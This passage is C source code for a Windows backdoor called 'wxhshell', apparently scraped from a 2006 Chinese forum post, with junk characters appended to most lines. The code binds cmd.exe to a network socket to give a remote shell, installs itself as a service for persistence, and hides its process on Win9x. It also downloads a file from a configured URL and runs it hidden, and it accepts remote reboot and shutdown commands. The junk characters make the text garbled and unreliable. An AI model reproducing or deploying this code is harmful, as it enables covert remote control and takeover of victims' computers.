  case '?': { 2 ,nhs,FZ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); AW r2Bv  
    break; *P' X[z  
  } :gsRJy1  
  // 安装 hF-QbO  
  case 'i': { 5~h )pt47  
    if(Install()) eX"%b(;s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E{V?[HcWq  
    else f 6I)c$]Q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j& 7>ph  
    break; OmB M)g  
    } o`CM15d*7o  
  // 卸载 HB )+.e  
  case 'r': { +k6` tl~*  
    if(Uninstall()) 3N >V sl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =Z.0-C>W  
    else P.Tnq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jga; q  
    break; #f(a,,Uu'  
    } 4(htdn6\  
  // 显示 wxhshell 所在路径 ;jgf,fbM  
  case 'p': { c%5P|R~g]p  
    char svExeFile[MAX_PATH]; &~eCDlX /  
    strcpy(svExeFile,"\n\r"); J0Yb_(w  
      strcat(svExeFile,ExeFile); q!W,2xqZoq  
        send(wsh,svExeFile,strlen(svExeFile),0); >4ex5  
    break; ;\th.!'rn  
    } /cClV"S*G  
  // 重启 {eU>E /SQ  
  case 'b': { h_ t`)]-  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); vs8[352  
    if(Boot(REBOOT)) { 5r]G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ox SSEs  
    else { T ?Om]:j  
    closesocket(wsh); l8E))oz1T  
    ExitThread(0); \:h7,[e  
    } npeL1zO-$  
    break; t!wbT79/  
    } "L5w]6C4  
  // 关机 y={ k7  
  case 'd': { {#+K+!SvDX  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); kQU4s)J  
    if(Boot(SHUTDOWN)) y a$yRsd`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n$ByTmKxv  
    else { X,3"4 SK  
    closesocket(wsh); QH><! sa  
    ExitThread(0); !=30s;-  
    } J4]"@0?6  
    break; pKXSJ"Xo  
    } \u.5 _ g  
  // 获取shell ZWGelZP~  
  case 's': { =_&,^h@'3e  
    CmdShell(wsh); /7B3z}rd  
    closesocket(wsh); R)d_0Ng  
    ExitThread(0); 7/&taw%i  
    break; PU ea`rE?R  
  } 6!)hl"  
  // 退出 xe OfofC(l  
  case 'x': { =WN8> <K!  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); j^/<:e c.  
    CloseIt(wsh); y<gRl/e  
    break; >mQD/U  
    } Mb_"M7  
  // 离开 % A 5s?J?  
  case 'q': { ?`vGpi~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); a@|`!<5  
    closesocket(wsh); zKk=R6w  
    WSACleanup(); wR 2`*.O  
    exit(1); k FRVW+  
    break; @ #J2t#  
        } Ku6ndc  
  } ,X| >d  
  } 3#fg 2  
z xgDaT  
  // 提示信息 [C ezz5  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \Ogs]4   
} Yk{4 3yw  
  } ! .Pbbs%  
cgcU2N6y;  
  return; s Wj:m)  
} =585TR; V  
R74RJi&  
// shell模块句柄 UM1h[#?&V)  
int CmdShell(SOCKET sock) 4,`t9f^:  
{ 3DjX0Dx/l  
STARTUPINFO si; NHdNCHhA>-  
ZeroMemory(&si,sizeof(si)); KVC18"|f  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?MRT  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \= 6dF,V  
PROCESS_INFORMATION ProcessInfo; 'uqY%&U  
char cmdline[]="cmd"; Kr<a6BEv5  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); UZJs!#P  
  return 0; !{r@ H+Kf  
} 9-Qu5L~  
N mNj0&  
// 自身启动模式 G`v(4`tA  
int StartFromService(void) VyIM ,glu  
{ Y,KSr|vG  
typedef struct #3C] "  
{ ~c,+)69"T  
  DWORD ExitStatus; i1qmFvksl  
  DWORD PebBaseAddress; 3 lKBwjW  
  DWORD AffinityMask; p?s[I)e  
  DWORD BasePriority; U4NA'1yo  
  ULONG UniqueProcessId; bhjJH,%_>  
  ULONG InheritedFromUniqueProcessId; e&pt[W}X%u  
}   PROCESS_BASIC_INFORMATION; G7#<Jo<8  
Xj6?,J  
PROCNTQSIP NtQueryInformationProcess; e>HdJ"S`  
!5zj+N  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]1bNcq2I  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Vg`32nRN  
" V4ru&a  
  HANDLE             hProcess; - [vH4~  
  PROCESS_BASIC_INFORMATION pbi; OLJ|gunA#  
dJ,,yA*  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .Nd_p{   
  if(NULL == hInst ) return 0; /pgn?e'lk  
/n1H; ~f]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ESY\!X:|  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]%6XE)  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Qvhy9Cr;  
&(X-b"2  
  if (!NtQueryInformationProcess) return 0; wn>?r ?KIB  
4q`e<!MP)q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); :&=`xAX-  
  if(!hProcess) return 0; }C{wGK+o[  
:}~B;s0M\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; FJ V!B&  
`< cn  
  CloseHandle(hProcess); +Ft@S(IE  
j !rQa^   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2u^/yl  
if(hProcess==NULL) return 0; OR-fC  
)tR@\G>%  
HMODULE hMod; kiR+ Dsl  
char procName[255]; Q\GSX RP  
unsigned long cbNeeded; GPU,.s"&(  
p V`)  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Jbqm?Fy4X  
=bl6:  
  CloseHandle(hProcess); |7E1yu  
Ab)X/g-I @  
if(strstr(procName,"services")) return 1; // 以服务启动 ^@AIXBe  
-ZE]VO*F  
  return 0; // 注册表启动 >_LZD4v! <  
} 20k@!BNq  
f-l(H="e  
// 主模块 3Ay<2v  
int StartWxhshell(LPSTR lpCmdLine) ]='zY3  
{ 9/I|oh_ G  
  SOCKET wsl; v?qU/  
BOOL val=TRUE; )_Wo6l)i  
  int port=0; tU >?j1  
  struct sockaddr_in door; nkTu/)or  
u|D|pRM-LT  
  if(wscfg.ws_autoins) Install(); gKWsmx!["  
V /,F6  
port=atoi(lpCmdLine); s^ R i g[  
X) xeq  
if(port<=0) port=wscfg.ws_port; };s8xGW:k3  
a+ lGN  
  WSADATA data; 7C@%1kL  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; FJ(}@U}57  
Sk|DVV $  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   b1ma(8{{{  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); QO(P_az3mg  
  door.sin_family = AF_INET; G [$u`mxV^  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^ woCwW8n  
  door.sin_port = htons(port); s\A4y "  
d\A!5/LG  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { TuX9:Q  
closesocket(wsl); AI\|8[kf0  
return 1; -Ay=*c.4  
} 19.oW49Sw  
urA kV#d#  
  if(listen(wsl,2) == INVALID_SOCKET) { R8![ $mkU  
closesocket(wsl); K \_JG $(9  
return 1; p`2w\P3;)  
} 1^_V8dm)  
  Wxhshell(wsl); ]'!$T72  
  WSACleanup(); [/IN820t  
MiB}10  
return 0; rwSmdJ~  
}6!*H!  
} CFyu9Al  
1aBQ.-E-  
// 以NT服务方式启动 ;j^C35  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) z)&ZoSXWc  
{ .*W_;Fo  
DWORD   status = 0; 4J${gcju  
  DWORD   specificError = 0xfffffff; 0;  BX  
C])b 3tM,7  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 1]% ]"JbV  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [+4/M3J%  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; k;c>=B)e  
  serviceStatus.dwWin32ExitCode     = 0; >y{oC5S  
  serviceStatus.dwServiceSpecificExitCode = 0; 0JS#{EDh+  
  serviceStatus.dwCheckPoint       = 0; =LHz[dSL  
  serviceStatus.dwWaitHint       = 0; ]mSkjKw  
UK!PMkX  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5w#7B  
  if (hServiceStatusHandle==0) return; LOX}  
K! I]0!:  
status = GetLastError(); #9FY;~  
  if (status!=NO_ERROR) g ;To}0H  
{ ZtPnHs.x  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |];f?1  
    serviceStatus.dwCheckPoint       = 0; }{S f*  
    serviceStatus.dwWaitHint       = 0; I5mtr  
    serviceStatus.dwWin32ExitCode     = status; ;r.0=Uo9]  
    serviceStatus.dwServiceSpecificExitCode = specificError; ?4A$9H  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); -jdhdh  
    return; $$f89, h  
  } "B3&v%b  
yZcnky  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; b"7L ;J5|  
  serviceStatus.dwCheckPoint       = 0; 3]cW08"c  
  serviceStatus.dwWaitHint       = 0; [oS4W P  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7wB*@a-  
} '%y5Dh  
.bloaeu-  
// 处理NT服务事件,比如:启动、停止 q\]"}M 8  
VOID WINAPI NTServiceHandler(DWORD fdwControl) R?L? 6~/q  
{ 5[5|_H+0  
switch(fdwControl) B57MzIZi]  
{ [8v>jQ)  
case SERVICE_CONTROL_STOP: YQ$EN>.eO  
  serviceStatus.dwWin32ExitCode = 0; H&_drxUq;L  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; A\:u5(  
  serviceStatus.dwCheckPoint   = 0; J@lQzRqRb  
  serviceStatus.dwWaitHint     = 0; @/f'i9?oM`  
  { $LOwuvu>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); KbTd`AIL  
  } \h48]ZjC`  
  return; 3$f+3/l  
case SERVICE_CONTROL_PAUSE: YHQvx_0yP  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; z`esst\aV  
  break; rm?C_  
case SERVICE_CONTROL_CONTINUE:  hSgH;k  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; G5,g$yNs  
  break; `)WC|=w2  
case SERVICE_CONTROL_INTERROGATE: cf+EQY  
  break; R>T9 H0  
}; ^{ {0ajI9C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /hp [ +K  
} KEfwsNSc%  
/mG-g%gE  
// 标准应用程序主函数 &qyXi[vw  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?d' vIpzO!  
{ F_d>@-<  
k3CHv=U{  
// 获取操作系统版本 y%!zXK`cl]  
OsIsNt=GetOsVer(); u2 t=*<X  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &N.]8x5A  
VOGx  
  // 从命令行安装 L}=t"y  
  if(strpbrk(lpCmdLine,"iI")) Install(); Bg.  
tUT:v K`  
  // 下载执行文件 4QBPN@~t  
if(wscfg.ws_downexe) { j.kv!;Rj=  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Mb:>  
  WinExec(wscfg.ws_filenam,SW_HIDE); g#lMT%  
} wK!7mZ  
LbUH`0:%t  
if(!OsIsNt) { S{jm4LZ  
// 如果时win9x,隐藏进程并且设置为注册表启动 %:N;+1  
HideProc(); +FH@|~^O  
StartWxhshell(lpCmdLine); K1CgM1v  
} F/u i(4  
else &G)/i*  
  if(StartFromService()) :_[pZ;-@  
  // 以服务方式启动 d]vom@iI  
  StartServiceCtrlDispatcher(DispatchTable); nhy:5eSK  
else #ON^6f2  
  // 普通方式启动 WI1DL&*B@<  
  StartWxhshell(lpCmdLine); KM9H<;A  
5}TTf2&Xo#  
return 0; m:Fdgu9  
}
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只看该作者 1 发表于: 2006-10-10
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